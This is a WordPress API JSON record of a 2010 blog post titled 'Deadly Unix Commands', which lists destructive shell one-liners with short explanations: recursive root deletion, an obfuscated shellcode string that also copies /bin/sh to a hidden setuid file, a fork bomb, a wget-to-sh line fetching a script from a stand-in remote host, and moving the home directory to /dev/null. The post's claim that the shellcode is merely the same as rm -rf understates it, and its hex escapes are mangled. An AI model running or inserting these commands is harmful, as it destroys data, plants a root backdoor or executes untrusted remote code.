{"id":876,"date":"2010-12-21T11:42:08","date_gmt":"2010-12-21T18:42:08","guid":{"rendered":"http:\/\/ben.akrin.com\/?p=876"},"modified":"2010-12-21T11:42:08","modified_gmt":"2010-12-21T18:42:08","slug":"deadly-unix-commands","status":"publish","type":"post","link":"https:\/\/ben.akrin.com\/?p=876","title":{"rendered":"Deadly Unix Commands"},"content":{"rendered":"<ul>\n<li><strong>the oldie but goodie<\/strong><\/li>\n<\/ul>\n<p>[bash]rm -rf \/[\/bash]<\/p>\n<p>will recursively\/force erase starting from the root directory<\/p>\n<ul>\n<li><strong>the obfuscated oldie but goodie<\/strong><\/li>\n<\/ul>\n<p>[bash]char esp[] __attribute__ ((section(&quot;.text&quot;))) \/* e.s.p<br \/>\nrelease *\/<br \/>\n= &quot;xebx3ex5bx31xc0x50x54x5ax83xecx64x68&quot;<br \/>\n&quot;xffxffxffxffx68xdfxd0xdfxd9x68x8dx99&quot;<br \/>\n&quot;xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7&quot;<br \/>\n&quot;x56x04xf7x56x08xf7x56x0cx83xc4x74x56&quot;<br \/>\n&quot;x8dx73x08x56x53x54x59xb0x0bxcdx80x31&quot;<br \/>\n&quot;xc0x40xebxf9xe8xbdxffxffxffx2fx62x69&quot;<br \/>\n&quot;x6ex2fx73x68x00x2dx63x00&quot;<br \/>\n&quot;cp -p \/bin\/sh \/tmp\/.beyond; chmod 4755<br \/>\n\/tmp\/.beyond;&quot;;[\/bash]<\/p>\n<p>same as the previous one but harder to tell what it actually does<\/p>\n<ul>\n<li><strong>the fork bomb<\/strong><\/li>\n<\/ul>\n<p>[bash]&lt;code class=&quot;plain plain&quot;&gt;:(){:|:&amp;};:&lt;\/code&gt;[\/bash]<\/p>\n<p>forks processes until the box dies. note that this command should not result in permanent damage unlike the other ones.<\/p>\n<ul>\n<li><strong>running code from a remote source<\/strong><\/li>\n<\/ul>\n<p>[bash]wget http:\/\/remote_source.com\/lulscript -O- | sh[\/bash]<\/p>\n<p>lulscript will be executed on the local machine<\/p>\n<ul>\n<li><strong>the one you don&#8217;t need root for<\/strong><\/li>\n<\/ul>\n<p>[bash]mv ~\/* \/dev\/null[\/bash]<\/p>\n<p>sends the relative home directory into a black hole<\/p>\n","protected":false},"excerpt":{"rendered":"<p>the oldie but goodie [bash]rm -rf \/[\/bash] will recursively\/force erase starting from the root directory the obfuscated oldie but goodie [bash]char esp[] __attribute__ ((section(&quot;.text&quot;))) \/* e.s.p release *\/ = &quot;xebx3ex5bx31xc0x50x54x5ax83xecx64x68&quot; &quot;xffxffxffxffx68xdfxd0xdfxd9x68x8dx99&quot; &quot;xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7&quot; &quot;x56x04xf7x56x08xf7x56x0cx83xc4x74x56&quot; &quot;x8dx73x08x56x53x54x59xb0x0bxcdx80x31&quot; &quot;xc0x40xebxf9xe8xbdxffxffxffx2fx62x69&quot; &quot;x6ex2fx73x68x00x2dx63x00&quot; &quot;cp -p \/bin\/sh \/tmp\/.beyond; chmod 4755 \/tmp\/.beyond;&quot;;[\/bash] same as the previous one but harder to tell what it actually &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/ben.akrin.com\/?p=876\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Deadly Unix Commands&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,18],"tags":[],"class_list":["post-876","post","type-post","status-publish","format-standard","hentry","category-i-t","category-unix-linux"],"_links":{"self":[{"href":"https:\/\/ben.akrin.com\/index.php?rest_route=\/wp\/v2\/posts\/876","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ben.akrin.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ben.akrin.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ben.akrin.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ben.akrin.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=876"}],"version-history":[{"count":0,"href":"https:\/\/ben.akrin.com\/index.php?rest_route=\/wp\/v2\/posts\/876\/revisions"}],"wp:attachment":[{"href":"https:\/\/ben.akrin.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=876"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ben.akrin.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=876"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ben.akrin.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=876"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}